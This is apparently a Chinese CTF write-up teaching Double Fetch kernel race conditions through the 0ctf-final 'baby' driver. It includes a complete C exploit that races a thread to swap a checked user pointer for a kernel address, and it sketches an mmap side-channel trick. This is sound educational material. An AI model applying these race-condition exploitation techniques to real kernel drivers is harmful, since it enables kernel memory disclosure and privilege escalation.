一、前言

 Double Fetch是一种条件竞争类型的漏洞,其主要形成的原因是由于用户态与内核态之间的数据在进行交互时存在时间差,我们在先前的学习中有了解到内核在从用户态中获取数据时会使用函数copy_from_user,而如果要拷贝的数据过于复杂的话则内核会选择引用其指针而将数据暂存于用户态中等待后续处理,而在这时数据会存在被条件竞争修改原有数据的风险,也就是笔者要分享的Double Fetch的由来。

 二、Double Fetch介绍

 如下图所示,用户态首先准备好用户态数据(prepare data),然后执行syscall进入内核态后,会对用户态数据进行第一次fetch,这一次fetch主要是做一些检测工作(如缓冲区大小、指针是否可用等),在检查通过后会执行第二次fetch对数据进行实际操作。而在这期间是存在一定的时间差,如果我们在用户态数据通过第一次check以后创建一个恶意进程利用二次fetch之间的时间差修改掉原先用户态的数据,那么在内核执行第二次fetch时处理的就并非原先通过检测的数据,而是我们精心准备的恶意数据,而此类漏洞往往会引起访问越界,缓冲区溢出最终造成恶意提权的情况。

 三、Double Fetch例题

 1、题目分析

 本次选择的例题是0ctf-final-baby,用IDA打开baby.ko进行逆向分析。驱动主要注册了baby_ioctl函数,当第二个参数为0x6666时会使用printk函数输出flag值在,可以通过dmesg命令查看printk函数的输出结果。

 不难看出flag是硬编码在驱动文件中,可以看到flag的长度为33位。

.data:0000000000000480 flag            dq offset aFlagThisWillBe
.data:0000000000000480                                         ; DATA XREF: sub_25+25↑r
.data:0000000000000480                                         ; sub_25+D6↑r ...
.data:0000000000000480                                         ; "flag{THIS_WILL_BE_YOUR_FLAG_1234}"

 当第二个参数为0x1337时通过三次检测则会对传入的内容与flag进行比较,如果相同就通过printk函数输出flag值。其中在三次检测中使用到_chk_range_not_ok函数,前两个参数不难理解,但是第三个参数在这里比较难理解。

bool __fastcall _chk_range_not_ok(__int64 contect, __int64 len, unsigned __int64 unknow)
{
bool my_cf; // cf
unsigned __int64 sum; // rdi

my_cf = __CFADD__(len, contect);
sum = len + contect;
return my_cf || unknow < sum;
}

 我们通过动态调试的方式定位在_chk_range_not_ok函数处,发现current_task+0x1358的结果就是0x7ffffffffffff000,也就是说这三次check的意思分别是:

1、判断结构体的指针是否在用户态
2、判断结构体中flag地址指针是否在用户态
3、判断结构体中flag长度是否与内核flag长度相同

 通过这三个检测之后就会比对传入结构体中flag值与内核的flag值是否相同,全部正确就会通过printk输出内核中的flag值。

for ( i = 0; i < strlen(flag); ++i )
{
if ( contect->addr[i] != flag[i] )
  return 0x16LL;
}
printk("Looks like the flag is not a secret anymore. So here is it %s\n", flag);
return 0LL;

 2、漏洞利用

 通过分析题目其实没有十分明显的漏洞点,但是如果我们以条件竞争的思路来看待这道题就会发现隐藏的漏洞点。如果我们首先在用户态创建一个可以通过三次检测的结构体指针(User_Data),那么在这个数据在真正被处理之前是存在一定的时间差的,并且因为数据是保存在用户态中,所以当我们开启一个恶意进程不断修改用户态中flag地址为内核态的地址,那么在实际处理数据时取出的就是内核地址,最终判断的时候就是内核地址与内核地址的比较,最终输出flag值并用dmesg命令查看输出结果。

 3、EXP

#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <pthread.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/ioctl.h>

int finish = 1;

struct message {
  char *addr;
  int len;
}data;

size_t flag_address = 0;

void read_flag_address() {
  system("dmesg | grep flag > message.txt");
  int fd = open("message.txt", O_RDWR);
  char buf[0x60] = {0};

  read(fd, buf, sizeof(buf));
  size_t idx = strstr(buf, "at ") + 3;
  sscanf(idx, "%llx", &flag_address);
  printf("[+] FIND FLAG ADDRESS: 0x%llx\n", flag_address);
  close(fd);
}

void evil_thread() {
  while (finish == 1) {
      data.addr = flag_address;
  }
}

void main() {
  pthread_t pthread;
  int fd = open("/dev/baby", O_RDWR);
  char buf[0x100] = {0};
  ioctl(fd, 0x6666);
  read_flag_address();

  pthread_create(&pthread, NULL, evil_thread, NULL);

  data.addr = buf;
  data.len = 33;

  for (int i = 0; i < 0x1000; i++) {
      ioctl(fd, 0x1337, &data);
      data.addr = buf;
  }
  finish = 0;
  pthread_join(pthread, NULL);
  system("dmesg | grep flag");
  close(fd);
}

 使用如下命令编译elf文件,重新打包文件系统后执行start.sh,最终效果如下。

gcc  -pthread -g -static -masm=intel -o exp exp.c

 四、总结

 Double Fetch 最为主要的就是培养以线程间条件竞争的角度来看待程序,从而发现一些比较隐蔽的漏洞。关于本次介绍的例题还有一种非预期的解法,可以通过在用户态使用mmap的方式开辟两块内存地址,第一块设置读写权限,第二块设置不可读写权限,我们将需要比较的字节放在第一块内存的最后一个字节中,当我们的判断正确时就会继续往下取值,这时就会从第二块即不可读写的内存中取值,就会造成kernel panic,这时我们就可以判断字符判断成功。感兴趣的师傅们可以自己尝试实现一下。

 更多靶场实验练习、网安学习资料,请点击这里>>

Kernel Pwn基础教程之 Double Fetch的更多相关文章

  1. Kernel pwn 基础教程之 ret2usr 与 bypass_smep

    一.前言 在我们的pwn学习过程中,能够很明显的感觉到开发人员们为了阻止某些利用手段而增加的保护机制,往往这些保护机制又会引发出新的bypass技巧,像是我们非常熟悉的Shellcode与NX,NX与 ...

  2. Kernel pwn 基础教程之 Heap Overflow

    一.前言 在如今的CTF比赛大环境下,掌握glibc堆内存分配已经成为了大家的必修课程.然而在内核态中,堆内存的分配策略发生了变化.笔者会在介绍内核堆利用方式之前先简单的介绍一下自己了解的内核内存分配 ...

  3. OpenVAS漏洞扫描基础教程之OpenVAS概述及安装及配置OpenVAS服务

    OpenVAS漏洞扫描基础教程之OpenVAS概述及安装及配置OpenVAS服务   1.  OpenVAS基础知识 OpenVAS(Open Vulnerability Assessment Sys ...

  4. Python基础教程之List对象 转

    Python基础教程之List对象 时间:2014-01-19    来源:服务器之家    投稿:root   1.PyListObject对象typedef struct {    PyObjec ...

  5. Python基础教程之udp和tcp协议介绍

    Python基础教程之udp和tcp协议介绍 UDP介绍 UDP --- 用户数据报协议,是一个无连接的简单的面向数据报的运输层协议.UDP不提供可靠性,它只是把应用程序传给IP层的数据报发送出去,但 ...

  6. Linux入门基础教程之Linux下软件安装

    Linux入门基础教程之Linux下软件安装 一.在线安装: sudo apt-get install 即可安装 如果在安装完后无法用Tab键补全命令,可以执行: source ~/.zshrc AP ...

  7. RabbitMQ基础教程之Spring&JavaConfig使用篇

    RabbitMQ基础教程之Spring使用篇 相关博文,推荐查看: RabbitMq基础教程之安装与测试 RabbitMq基础教程之基本概念 RabbitMQ基础教程之基本使用篇 RabbitMQ基础 ...

  8. 【Heritrix基础教程之1】在Eclipse中配置Heritrix

    一.新建项目并将Heritrix源代码导入 1.下载heritrix-1.14.4-src.zip和heritrix-1.14.4.zip两个压缩包,并解压,以后分别简称SRC包和ZIP包: 2.在E ...

  9. 【Nutch2.2.1基础教程之6】Nutch2.2.1抓取流程

    一.抓取流程概述 1.nutch抓取流程 当使用crawl命令进行抓取任务时,其基本流程步骤如下: (1)InjectorJob 开始第一个迭代 (2)GeneratorJob (3)FetcherJ ...

随机推荐

  1. 帆软报表(finereport)图表操作细节

    图表间之间的组件间隔:body-->属性-->布局-->组件间隔 决策报表背景水印:body-->属性-->水印 仪表盘指针/枢纽/背景颜色:样式-->系列 柱形图 ...

  2. Solution Set -「LOCAL」冲刺省选 Round XXI

    \(\mathscr{Summary}\)   省选几个小时啊,怎么模拟赛只打三个小时啊./kk   时间安排较为合理,没有出现严重的因思考时间过少引起的丢分.   A 题比较可惜,二分 + 点分治大 ...

  3. 我们一起来学Shell - shell的条件判断

    文章目录 Shell 条件测试语法 符号说明 Shell 测试表达式 文件测试表达式 字符串测试表达式 整数操作符 逻辑操作符 测试表达式的区别总结 Shell 条件判断之if语句 单分支 IF 条件 ...

  4. Spring高级特性之三:@Enable*注解的工作原理

    Spring Boot中阐述热插拔技术的时候,简单地提及@Enable*注解.随着多种框架的应用及深入了解,@Enable*这个注解在各种框架中应用相当普及. 那么@Enable*注解工作原理是怎么样 ...

  5. git 提交忽略文件

    target/ */target/ **/logs/ !.mvn/wrapper/maven-wrapper.jar ### STS ### .apt_generated .classpath .fa ...

  6. MySQL是怎么保证redo log和binlog是完整的?

    摘要:WAL机制保证只要redo log和binlog保证持久化到磁盘,就能确保MySQL异常重启后,数据可以恢复. 本文分享自华为云社区<MySQL会丢数据吗?>,作者: JavaEdg ...

  7. Spring Cloud 中自定义外部化扩展机制原理及实战

    Spring Cloud针对Environment的属性源功能做了增强, 在spring-cloud-contenxt这个包中,提供了PropertySourceLocator接口,用来实现属性文件加 ...

  8. 想上BI系统,原来的Excel优秀模板都丢弃吗?

    我们公司之前一直都用Excel来存储数据,展示数据,Excel本身拥有强大的公式可以帮助我们的数据进行再加工计算,Excel的图形我们可以可以直接拿来展示数据,Excel本身还有数据透视表帮助我们的分 ...

  9. 60天shell脚本计划-12/12-渐入佳境

    --作者:飞翔的小胖猪 --创建时间:2021年3月23日 --修改时间:2021年3月27日 说明 每日上传更新一个shell脚本,周期为60天.如有需求的读者可根据自己实际情况选用合适的脚本,也可 ...

  10. 04-Eureka服务注册与发现

    1.介绍 2.快速开始 父工程的maven 配置文件,如下 <?xml version="1.0" encoding="UTF-8"?> <p ...